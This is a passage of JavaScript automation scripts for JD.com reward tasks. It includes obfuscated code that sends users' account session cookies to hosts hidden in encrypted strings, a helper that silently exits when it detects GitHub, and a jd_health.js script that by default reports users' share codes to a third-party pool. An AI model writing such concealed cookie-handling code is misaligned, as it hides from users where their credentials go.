_0x350a8f!=_0x196614;}};if($[_0x1397('188','j1Vv')]()&&process[_0x1397('4','pjia')][_0x1397('189','Wzkm')]){if(_0x5268e0[_0x1397('18a','00$W')](_0x5268e0[_0x1397('18b','NDPd')],_0x5268e0[_0x1397('18c','2&S]')])){return{'url':_0x5590e8+_0x1397('18d','3L)y')+function_id+_0x1397('18e','^]tN')+_0x5268e0[_0x1397('18f','N84B')](escape,JSON[_0x1397('190','pjia')](body))+_0x1397('191','7Hqq')+_0x5268e0[_0x1397('192','N84B')](_0x5268e0[_0x1397('193','Kl@E')](new Date()[_0x1397('194','q&xS')](),_0x5268e0[_0x1397('195','aM3b')](_0x5268e0[_0x1397('196','aM3b')](new Date()[_0x1397('197','^h3j')](),0x3c),0x3e8)),_0x5268e0[_0x1397('198','00$W')](_0x5268e0[_0x1397('199','(Wgi')](_0x5268e0[_0x1397('19a',']PO1')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x5268e0[_0x1397('19b','xI6(')],'Accept-Encoding':_0x5268e0[_0x1397('19c','[Jme')],'Accept-Language':_0x5268e0[_0x1397('19d','3hCf')],'Connection':_0x5268e0[_0x1397('19e','[Jme')],'Content-Type':_0x5268e0[_0x1397('19f','^h3j')],'Host':_0x5268e0[_0x1397('1a0','NDPd')],'Referer':_0x1397('1a1','LiL9')+$[_0x1397('1a2','3L)y')]+_0x1397('1a3','LiL9'),'Cookie':cookie,'User-Agent':_0x5268e0[_0x1397('1a4','3L)y')]}};}else{return _0x5268e0[_0x1397('1a5','pjia')](process[_0x1397('1a6','XgSw')][_0x1397('1a7','pjia')],_0x5268e0[_0x1397('1a8','aM3b')]);}}else if($[_0x1397('1a9','3hCf')](_0x5268e0[_0x1397('1aa','YBF&')])){return _0x5268e0[_0x1397('1ab','A#Us')]($[_0x1397('1ac','zhk0')](_0x5268e0[_0x1397('1ad','b!pb')]),_0x5268e0[_0x1397('1ae','*)8S')]);}return!![];}function _0x4a7dc3(_0x10dfbb,_0x3b1cd3={}){var _0x4b4aaf={'XEmwV':function(_0x374038,_0x1ac37f){return _0x374038(_0x1ac37f);},'Rkkal':function(_0x42af1e,_0x1e22d7){return _0x42af1e+_0x1e22d7;},'QfODD':function(_0x2bbedf,_0x40c462){return _0x2bbedf*_0x40c462;},'mqHli':_0x1397('1af','f%nz'),'cMRsJ':_0x1397('17f','7Hqq'),'fnokc':_0x1397('1b0','7Hqq'),'jbpVp':_0x1397('1b1','YBF&'),'aySwa':_0x1397('1b2','8D^#'),'FFZJl':_0x1397('1b3','[Jme'),'QgqnH':_0x1397('1b4','*)8S')};return{'url':_0x5590e8+_0x1397('1b5','#Z$t')+_0x10dfbb+_0x1397('1b6','yW]B')+_0x4b4aaf[_0x1397('1b7','YBF&')](escape,JSON[_0x1397('1b8','NDPd')](_0x3b1cd3))+_0x1397('1b9','3L)y')+_0x4b4aaf[_0x1397('1ba','2sA7')](_0x4b4aaf[_0x1397('1bb','j1Vv')](new Date()[_0x1397('1bc','A#Us')](),_0x4b4aaf[_0x1397('1bd','LiL9')](_0x4b4aaf[_0x1397('1be','A#Us')](new Date()[_0x1397('1bf','CM6L')](),0x3c),0x3e8)),_0x4b4aaf[_0x1397('1c0','hMbH')](_0x4b4aaf[_0x1397('1c1',')^(8')](_0x4b4aaf[_0x1397('1c2','Kl@E')](0x8,0x3c),0x3c),0x3e8)),'headers':{'Accept':_0x4b4aaf[_0x1397('1c3','00$W')],'Accept-Encoding':_0x4b4aaf[_0x1397('1c4','hx28')],'Accept-Language':_0x4b4aaf[_0x1397('1c5','!PYj')],'Connection':_0x4b4aaf[_0x1397('1c6','j1Vv')],'Content-Type':_0x4b4aaf[_0x1397('1c7','[Jme')],'Host':_0x4b4aaf[_0x1397('1c8','#Z$t')],'Referer':_0x1397('1c9','!ztH')+$[_0x1397('1ca','7Hqq')]+_0x1397('1cb','CJqo'),'Cookie':cookie,'User-Agent':_0x4b4aaf[_0x1397('1cc','(14x')]}};}function _0x1fbe85(){var _0x8c07df={'vPWdK':function(_0x2db937,_0x43ca4f){return _0x2db937+_0x43ca4f;},'HIcTc':function(_0x15e1cc,_0x8cb172){return _0x15e1cc*_0x8cb172;},'ElzPi':function(_0x28449c,_0x306d41){return _0x28449c-_0x306d41;},'gGGSd':_0x1397('1cd','NDPd'),'ZdyCr':_0x1397('1ce','d[PA'),'LqXHJ':function(_0x13b747,_0x37a0e9){return _0x13b747==_0x37a0e9;},'vXBFf':function(_0x16c050,_0x5823d6){return _0x16c050===_0x5823d6;},'cCiGu':_0x1397('1cf','N84B'),'LBXSX':function(_0x8dc41b,_0x278bf5){return _0x8dc41b!==_0x278bf5;},'ULcKR':_0x1397('1d0','zmkL'),'CDFxP':_0x1397('1d1','G89w'),'QUDli':_0x1397('1d2','q&xS'),'wAbuD':_0x1397('1d3',')^(8'),'ncmBF':_0x1397('1d4','YBF&'),'HecNZ':function(_0x3d6373,_0x325c20){return _0x3d6373===_0x325c20;},'xGveF':_0x1397('1d5','j1Vv'),'rNjLz':_0x1397('1d6','NDPd'),'hpkIo':_0x1397('1d7','xA72'),'rvFni':_0x1397('1d8','xA72'),'egWfX':_0x1397('1d9','Kl@E'),'OgRZJ':function(_0x57e366){return _0x57e366();},'iPPrR':_0x1397('1da','*)8S'),'SSXKB':_0x1397('1db','xRQa'),'GUmra':_0x1397('1dc','Kl@E'),'KhbZV':_0x1397('1dd','^]tN'),'DvOUm':_0x1397('1de','3L)y'),'hrSNP':_0x1397('1df','A#Us'),'tNIOS':_0x1397('1e0','XgSw'),'EttnX':_0x1397('1e1','xRQa')};return new Promise(async _0x48100b=>{var _0x3d6912={'Nzfrk':function(_0x4f672a,_0x289f0c){return _0x8c07df[_0x1397('1e2','tXsZ')](_0x4f672a,_0x289f0c);},'hIyeX':function(_0x1b4cb1,_0x266b60){return _0x8c07df[_0x1397('1e3','Kl@E')](_0x1b4cb1,_0x266b60);},'Pfsvv':function(_0x1412d5,_0x23a4c6){return _0x8c07df[_0x1397('1e4',']PO1')](_0x1412d5,_0x23a4c6);},'CMmlu':_0x8c07df[_0x1397('1e5','Ayq5')],'hlBoK':_0x8c07df[_0x1397('1e6','Ayq5')],'JTHFN':function(_0x2c6bfc,_0x58302f){return _0x8c07df[_0x1397('1e7','Wzkm')](_0x2c6bfc,_0x58302f);},'oJasE':function(_0x4e6e51,_0x58314e){return _0x8c07df[_0x1397('1e8','[Jme')](_0x4e6e51,_0x58314e);},'uzgnd':_0x8c07df[_0x1397('1e9','xA72')],'erxqR':function(_0x492cc1,_0x4225e2){return _0x8c07df[_0x1397('1ea','!PYj')](_0x492cc1,_0x4225e2);},'XuWri':_0x8c07df[_0x1397('1eb','xI6(')],'SxTJc':_0x8c07df[_0x1397('1ec','zmkL')],'wuYLV':_0x8c07df[_0x1397('1ed','j1Vv')],'gWmrv':_0x8c07df[_0x1397('1ee','2&S]')],'LIVrp':_0x8c07df[_0x1397('1ef','q&xS')],'DaRND':function(_0x5da8b8,_0x4d83f4){return _0x8c07df[_0x1397('1f0','3L)y')](_0x5da8b8,_0x4d83f4);},'WMaTe':_0x8c07df[_0x1397('1f1','d[PA')],'ODTaK':_0x8c07df[_0x1397('1f2',']PO1')],'EdFEf':_0x8c07df[_0x1397('1f3','[Jme')],'Jxcvm':_0x8c07df[_0x1397('1f4','Ayq5')],'gPWZL':_0x8c07df[_0x1397('1f5','hMbH')],'nexJM':function(_0x171ad4){return _0x8c07df[_0x1397('1f6','Wzkm')](_0x171ad4);}};const _0x346876={'url':_0x1397('1f7','yW]B'),'headers':{'Accept':_0x8c07df[_0x1397('1f8','Ayq5')],'Content-Type':_0x8c07df[_0x1397('1f9','*)8S')],'Accept-Encoding':_0x8c07df[_0x1397('1fa','JPxi')],'Accept-Language':_0x8c07df[_0x1397('1fb','hMbH')],'Connection':_0x8c07df[_0x1397('1fc','!PYj')],'Cookie':cookie,'Referer':_0x8c07df[_0x1397('1fd','2&S]')],'User-Agent':$[_0x1397('1fe','^h3j')]()?process[_0x1397('1ff','[Jme')][_0x1397('200','LiL9')]?process[_0x1397('201','q&xS')][_0x1397('202','Kl@E')]:_0x8c07df[_0x1397('203','!ztH')]:$[_0x1397('204','^]tN')](_0x8c07df[_0x1397('205','zhk0')])?$[_0x1397('206','hx28')](_0x8c07df[_0x1397('207','tXsZ')]):_0x8c07df[_0x1397('208','q&xS')]}};$[_0x1397('209','xI6(')](_0x346876,(_0x209a68,_0x1ee4e1,_0x492e58)=>{var _0x46d2d9={'GtoTi':_0x3d6912[_0x1397('20a','j1Vv')],'rUCNQ':function(_0x55bbc0,_0x5e2066){return _0x3d6912[_0x1397('20b','Wzkm')](_0x55bbc0,_0x5e2066);}};try{if(_0x209a68){if(_0x3d6912[_0x1397('20c','(14x')](_0x3d6912[_0x1397('20d','2&S]')],_0x3d6912[_0x1397('20e','3hCf')])){console[_0x1397('20f','hMbH')](''+JSON[_0x1397('210','YBF&')](_0x209a68));console[_0x1397('211','tXsZ')]($[_0x1397('212','hMbH')]+_0x1397('213','xI6('));}else{console[_0x1397('49','NB)(')](_0x1397('214','7Hqq'));}}else{if(_0x3d6912[_0x1397('215','Ayq5')](_0x3d6912[_0x1397('216','3hCf')],_0x3d6912[_0x1397('217','(14x')])){$[_0x1397('218','hx28')]=![];return;}else{if(_0x492e58){_0x492e58=JSON[_0x1397('219','hx28')](_0x492e58);if(_0x3d6912[_0x1397('21a','CM6L')](_0x492e58[_0x3d6912[_0x1397('21b','aM3b')]],0xd)){$[_0x1397('21c','3hCf')]=![];return;}if(_0x3d6912[_0x1397('21d','0zsU')](_0x492e58[_0x3d6912[_0x1397('21e','3L)y')]],0x0)){if(_0x3d6912[_0x1397('21f','^]tN')](_0x3d6912[_0x1397('220','hx28')],_0x3d6912[_0x1397('221','aM3b')])){url=$[_0x1397('222','!ztH')](_0x46d2d9[_0x1397('223','b!pb')]);}else{$[_0x1397('224','tXsZ')]=_0x492e58[_0x3d6912[_0x1397('225','8D^#')]]&&_0x492e58[_0x3d6912[_0x1397('226','2sA7')]][_0x1397('227','0zsU')]||$[_0x1397('228','q&xS')];}}else{if(_0x3d6912[_0x1397('229','^]tN')](_0x3d6912[_0x1397('22a','f%nz')],_0x3d6912[_0x1397('22b','j1Vv')])){$[_0x1397('92','xI6(')]=$[_0x1397('9a','N84B')];}else{return _0x3d6912[_0x1397('22c','Ayq5')](Math[_0x1397('22d','hMbH')](_0x3d6912[_0x1397('22e','yW]B')](Math[_0x1397('22f','zhk0')](),_0x3d6912[_0x1397('230','[Jme')](max,min))),min);}}}else{if(_0x3d6912[_0x1397('231','aM3b')](_0x3d6912[_0x1397('232','*)8S')],_0x3d6912[_0x1397('233','aM3b')])){console[_0x1397('234',')^(8')](_0x1397('235','aM3b'));}else{console[_0x1397('236','G89w')](e);$[_0x1397('237','!ztH')]($[_0x1397('238','NB)(')],'',_0x3d6912[_0x1397('239','*)8S')]);return[];}}}}}catch(_0x527be7){if(_0x3d6912[_0x1397('23a','N84B')](_0x3d6912[_0x1397('23b','2sA7')],_0x3d6912[_0x1397('23c','LiL9')])){if(_0x46d2d9[_0x1397('23d','CM6L')](_0x1ee4e1[_0x1397('23e','Ayq5')],0x202)){console[_0x1397('23f','(14x')](_0x1397('240',')^(8'));}else{console[_0x1397('13d','CM6L')](''+JSON[_0x1397('241','^h3j')](_0x209a68));}id='';}else{$[_0x1397('242','q&xS')](_0x527be7,_0x1ee4e1);}}finally{_0x3d6912[_0x1397('243','!PYj')](_0x48100b);}});});}function _0x2a6b3c(_0x51e159){var _0x5cb75b={'ycJLx':function(_0x586d30,_0x3e0ecf){return _0x586d30!==_0x3e0ecf;},'dEiMG':_0x1397('244','tXsZ'),'AcOml':_0x1397('245','G89w'),'uOwyi':function(_0x19b084,_0x5374d3){return _0x19b084==_0x5374d3;},'HjzHK':_0x1397('246','2sA7'),'gZaDQ':function(_0xad525b,_0x454ead){return _0xad525b===_0x454ead;},'nFvdX':_0x1397('247','2sA7')};try{if(_0x5cb75b[_0x1397('248','hMbH')](_0x5cb75b[_0x1397('249','A#Us')],_0x5cb75b[_0x1397('24a','hMbH')])){if(_0x5cb75b[_0x1397('24b','^]tN')](typeof JSON[_0x1397('24c','!ztH')](_0x51e159),_0x5cb75b[_0x1397('24d','xI6(')])){if(_0x5cb75b[_0x1397('24e','f%nz')](_0x5cb75b[_0x1397('24f','00$W')],_0x5cb75b[_0x1397('250','G89w')])){return!![];}else{console[_0x1397('251','Wzkm')](_0x1397('252','^h3j'));message+=_0x1397('253','2sA7');}}}else{console[_0x1397('108','00$W')](_0x1397('254','j1Vv')+JSON[_0x1397('255','3hCf')](_0x51e159));}}catch(_0x578775){console[_0x1397('256','A#Us')](_0x578775);console[_0x1397('257','^]tN')](_0x1397('258','7Hqq'));return![];}}function _0x332046(_0x1facd2){var _0x163c5b={'EPist':function(_0x5633e1,_0x4b4f07){return _0x5633e1!=_0x4b4f07;},'YsXeL':function(_0x293050,_0x4a77f8){return _0x293050<_0x4a77f8;},'hyRDG':function(_0x3a548b,_0x605e29){return _0x3a548b+_0x605e29;},'qpkIf':function(_0xfa4a42,_0x1a8fb9,_0x13aee8){return _0xfa4a42(_0x1a8fb9,_0x13aee8);},'GVNjX':function(_0xa65e11,_0x3f12){return _0xa65e11==_0x3f12;},'EItmr':_0x1397('259','zhk0'),'Ouwol':function(_0x5c2bed,_0x3dd205){return _0x5c2bed===_0x3dd205;},'QaydQ':_0x1397('25a','xI6('),'rbVLi':_0x1397('25b',')^(8')};if(_0x163c5b[_0x1397('25c','*)8S')](typeof _0x1facd2,_0x163c5b[_0x1397('25d','yW]B')])){if(_0x163c5b[_0x1397('25e','3hCf')](_0x163c5b[_0x1397('25f','pjia')],_0x163c5b[_0x1397('260','xI6(')])){try{return JSON[_0x1397('261','hMbH')](_0x1facd2);}catch(_0x546679){console[_0x1397('10a','!ztH')](_0x546679);$[_0x1397('2e','Wzkm')]($[_0x1397('b3','*)8S')],'',_0x163c5b[_0x1397('262','[Jme')]);return[];}}else{if(_0x163c5b[_0x1397('263','hMbH')](code[_0x1397('264','hMbH')]('-'),-0x1)){_0x446bc9=!![];let _0x39d5e6=code[_0x1397('265','Wzkm')]()[_0x1397('266','CJqo')](/-/g,'');var _0x1f2550=_0x39d5e6[_0x1397('267','2&S]')]('')[_0x1397('268','3hCf')]()[_0x1397('269','A#Us')]('');var _0x244b6a=_0x1f2550[_0x1397('26a','[Jme')];var _0x13eaf3;var _0x4289ab=[];for(var _0x582123=0x0;_0x163c5b[_0x1397('26b','0zsU')](_0x582123,_0x244b6a);_0x582123=_0x163c5b[_0x1397('26c','JPxi')](_0x582123,0x2)){_0x13eaf3=_0x163c5b[_0x1397('26d','hx28')](parseInt,_0x1f2550[_0x1397('26e','zmkL')](_0x582123,0x2),0x10);_0x4289ab[_0x1397('26f','tXsZ')](String[_0x1397('270','q&xS')](_0x13eaf3));}return _0x4289ab[_0x1397('271','[Jme')]('')[_0x1397('272','j1Vv')](/#/g,'');}else{return code;}}}};_0xodW='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health.js b/jd_health.js new file mode 100644 index 0000000..7510280 --- /dev/null +++ b/jd_health.js @@ -0,0 +1,448 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 0,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 0,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 0,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 0,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +const inviteCodes = [ + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, +] +const ZLC = !(process.env.JD_JOIN_ZLC && process.env.JD_JOIN_ZLC === 'false') +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : '' +const randomCount = $.isNode() ? 20 : 5; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) {//nullish coalescing + return val1 != undefined ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!process.env.JD_JOIN_ZLC) { + console.log(`【注意】本脚本默认会给助力池进行助力!\n如需加入助力池请添加TG群:https://t.me/jd_zero_205\n如不加入助力池互助,可添加变量名称:JD_JOIN_ZLC,变量值:false\n`) + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await shareCodesFormat() + await main() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main() { + try { + if (reward) { + await getCommodities() + } + + $.score = 0 + $.earn = false + await getTaskDetail(-1) + await getTaskDetail(16) + await getTaskDetail(6) + for(let i = 0 ; i < 5; ++i){ + $.canDo = false + await getTaskDetail() + if(!$.canDo) break + await $.wait(1000) + } + await collectScore() + await helpFriends() + await getTaskDetail(22); + await getTaskDetail(-1) + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + let res = await doTask(code, 6) + if([108,-1001].includes(oc(() => res.data.bizCode))){ + console.log(`助力次数已满,跳出`) + break + } + await $.wait(1000) + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), + async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore) , '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + // console.log('好友助力码:' + oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) + // *************************** + // 报告运行次数 + if (ZLC) { + if (oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) { + $.code = data.data.result.taskVos[0].assistTaskDetailVo.taskToken + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + } + } + // *************************** + + } + } else if (taskId === 22) { + console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) + if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务 + await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务 + } else 